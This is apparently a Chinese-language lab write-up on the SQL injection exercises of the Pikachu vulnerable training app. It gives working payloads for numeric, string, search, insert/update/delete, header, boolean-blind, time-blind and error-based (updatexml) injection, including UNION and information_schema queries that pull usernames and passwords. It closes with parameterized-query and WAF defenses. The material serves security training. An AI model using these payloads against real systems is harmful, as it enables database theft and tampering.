头图:https://cdn.naraku.cn/imgs/pikachu/sql-0.jpg
摘要:Pikachu漏洞靶场系列之SQL注入。
概述
在Owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
- 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
- 使用参数化(Parameterized Query 或 Parameterized Statement);
- 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!
数字型注入(POST)
- 先在下拉框任意选择一项,点击查询,在网络选项卡可看到以POST方式提交的表单
通过页面的返回已经提示这里是数字型注入,那么可以猜测其后端逻辑大致如下
select 用户名,用户邮箱 from 表名 where 列名=1
所以可以直接构造Payload得到数据。这里利用
HackBar
插件,启用POST方式。submit=查询&id=1 or 1=1 --
将此Payload传递进去后,后端会如下执行语句,返回全部用户数据
select 用户名,用户邮箱 from 表名 where 列名=1 or 1=1 --
字符型注入(GET)
通过以下输入,判断后端语句为单引号闭合
1 # 正常返回
1' # 页面报错
1" # 正常返回
猜测后端逻辑
select 字段 from 表名 where 列名='1'
构造Payload
1' or 1=1 #
搜索型注入
测试
1 # 正常返回
1% # 正常返回
1%' # 页面报错
1%" # 正常返回
猜测后端逻辑
select 字段 from 表名 where 列名 LIKE '%1%'
Payload
1%' or 1=1 #
XX型注入
变量的拼接类型是多种多样的,不仅仅限于以上3种类型。所以核心思想是猜测后台语句类型,使用各种闭合进行测试,构造合法SQL语句欺骗后台。
没有提示,只能通过各种组合进行测试
1 # 正常返回
1' # 页面报错
1" # 正常返回
判断为单字符闭合+搜索型。继续猜测后端逻辑
1' or 1=1 # # 页面报错
1'% or 1=1 # # 页面报错
1') or 1=1 # # 返回全部数据
最终得到后端逻辑为
select 字段 from 表名 where 列名 LIKE ('1')
Payload
1') or 1=1 #
Insert/update注入
Insert和update注入漏洞一般存在于新增或修改用户信息的地方。
这里进入
insert/update注入
漏洞环境,点击注册。在账户名处输入'
,任意填写密码,点击注册。发现页面报错,即可能存在报错注入此处后台执行的SQL语句如下
insert into member(username,pw,sex,phonenum,email,address) values('naraku','123',1,2,3,4)
构造以下Payload并在账户处输入
-- Payload
' or updatexml(1, concat(0x7e, database()), 0) or '
-- 后台执行如下
insert into member(username,pw,sex,phonenum,email,address)
values('' or updatexml(1, concat(0x7e, database()), 0) or '','123',1,2,3,4)
此时会返回
updatexml()
中的查询语句任意注册一个账户并登录,点击修改个人信息。在任意一栏输入
'
,也会发现页面报错。贴入以上Payload,得到同样结果。delete注入
进入
delete注入
漏洞环境,先任意输入一些留言- 点击删除,可以看到访问的url为:
[http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1](http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1)
后台SQL语句
delete from message where id={$_GET['id']};
这里是数字型注入,构造Payload
-- Payload
1 or updatexml(1,concat(0x7e, database()),3)
-- 后台执行如下
delete from message where id=1 or updatexml(1,concat(0x7e, database()),3)
http header注入
有时候后台需要通过
HTTP Header
头获取客户端的一些信息,如UserAgent
、Accept
字段等,会对客户端的HTTP Header
信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header
的SQL注入漏洞这里进入
HTTP Header
漏洞,使用admin/123456
登录一下,可以看到UserAgent
、Accept
字段被记录
- 点击退出,重新登录并抓取第二个包。然后发送到
Repeater
,将UserAgent
修改为单引号'
,可以看到返回报错
猜测此处存在漏洞,构造Payload,这里Payload跟前面
insert
漏洞的Payload一样' or updatexml(1,concat(0x7e, database()),3) or '
布尔盲注(Base on boolian)
前面的注入都是有明显报错信息返回的,但是很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于”真”和”假”的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假
此处布尔注入漏洞,当输入为真,即该用户存在时,返回用户信息。用户不存在或者语句为假时返回该
username不存在
,并且已知kobe
这个用户存在。因此可以构造语句如下:kobe' and length(database())>6 #
kobe' and length(database())>7 #
使用
length()
函数来获取当前数据库名的长度并进行比较,在>6
时返回用户信息,即证明为真;>7
时返回username
不存在,即为假。由此可判断该数据库的长度为7
继续构造语句来猜解库名
kobe' and ascii(substr(database(),1,1))>111 #
kobe' and ascii(substr(database(),1,1))>112 # =>p
...
kobe' and ascii(substr(database(),7,1))>116#
kobe' and ascii(substr(database(),7,1))>117# =>u
此处
substr(database(),1,1))
为从database()
返回的数据库名中的第1
位开始取值,取1
位。并通过ascii()
函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111
时返回真,>112
时返回假。由此可知该ASCII码为112
,即p
。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu
时间盲注(Base on time)
如果说基于
Boolean
的盲注在页面上还可以看到真和假不同的回显的话,那么如果页面上什么回显都没有呢?这里就要用到基于时间的盲注,通过特定的输入,判断后台执行的事件,从而确定注入。此处进入时间盲注漏洞,通过构造以下Payload来判断是否存在时间盲注
kobe' and sleep(5) #
通过控制台可以看到,原本打开这个页面的时间为
4.05s
(我也不知道为什么这么慢…),提交以上Payload后返回的时间为9.11s
,延迟了5s
,由此可以确认此处存在时间盲注。
确认存在时间盲注后,可以使用
if
语句并通过返回的时间进行判断。构造Payload如下kobe' and if(length(database())>6, sleep(5), null) #
kobe' and if(length(database())>7, sleep(5), null) #
可以在控制台看到当数据库名长度
>6
时暂停了5秒,>7
时没有暂停。由此可知数据库名长度为7
最后可以构造以下Payload猜测库名,原理同上
kobe' and if((substr(database(),1,1))='a' , sleep(5), null) #
kobe' and if((substr(database(),1,1))='p' , sleep(5), null) #
宽字节注入
-
总结
常见注入类型
数字型:
id=$id
- 字符型:
id='$id'
- 搜索型:
text like "%{$_GET['id']}%"
Information_schema利用
MySQL 5.0以上版本自带数据库
information_schema
,记录当前MySQL下所有数据库名、表名、列名。
基础
information_schema
提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.
表示下一级Information_schema.schemata
:记录库名信息的表schema_name
:记录库名的字段
Information_schema.tables
:记录表名信息的表table_schema
:记录库名的字段table_name
:记录表名的字段
Information_schema.columns
:记录列名信息的表判断闭合
x' or 1=1 #
猜列数
x' order by 2 # -> 正常返回
x' order by 3 # -> 返回错误,即可知列数为2
获取数据库名,当前用户名
x' union select database(),user() #
查询全部库,可以看得库名Pikachu
x' union select 1,schema_name from information_schema.schemata #
查询Pikachu库中的全部表名:
httpinfo
,member
,message
,users
,xssblind
x' union select 1,table_name from information_schema.tables where table_schema="pikachu" #
查询Pikachu库users表中的全部列名:
id
,username
,password
,level
x' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" #
获取数据。从users表中查询
username
,password
x' union select username,password from users #
报错注入
基础
条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
- 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
seletc/insert/update/delete
都可以使用报错来获取信息 - 常用函数:
updatexml(XML_Document, XPath_String, New_Value)
XML_Document
,表中字段名XPath_String
,XPath格式的字符串New_Value
,替换的值
- 此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的,否则会发生错误。这里是思路是将查询表达式放在该参数中,查询结果会跟着报错信息一并返回。
其它函数:
ExtractValue((XML_Document, XPath_String)
实战演示
这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号
'
,可以看到返回报错信息,尝试报错注入构造Payload
' and updatexml(1, version(), 0) #
此处结果为
XPATH syntax error: '.53'
,可以看到返回的版本号显示不全,需要利用concat()
函数concat()
函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e
是~
的十六进制,可以防止返回的查询结果被截断。' and updatexml(1, concat(0x7e, version()) ,3) #
此时返回的结果是
XPATH syntax error: '~5.5.53'
报错只能显示一行。假如执行以下语句获取表名,则会报错:
Subquery returns more than 1 row
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
可以通过
limit
来操作返回的数量。limit 0,1
为从第0个开始取,取1条' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #
......
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #
后面获取列名也是一样
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #
......
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
最后获取数据
' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
' and updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #
暴力破解表名列名
基本的Payload如下,可搭配Burp的爆破功能进行暴力破解
' and exists(select * from users) #
' and exists(select id from users) #
常见防范措施
Hacker -> WAF -> WebServer -> Database
代码层面
- 对输入进行严格的转义和过滤
- 推荐:使用预处理和参数化
# PHP中使用PDO的prepare预处理
$username = $_GET['username'];
$password = $_GET['password'];
try{
$pdo = new PDO('mysql:host=localhost; dbname=ant', 'root', 'root');
$sql = "select * from admin where username=? and password=?";
$stmt=$pdo->prepare($sql); // 预处理,先不传参
$stmt->execute(array($username, $password)); // 以索引数组方式传参,而不是拼接,就成功防止了注入
}catch(PDOException $e){
echo $e->getMessage();
}
网络层面
- 通过WAF设备启用防SQL注入策略
- 云端防护(360网站卫士、阿里云盾等)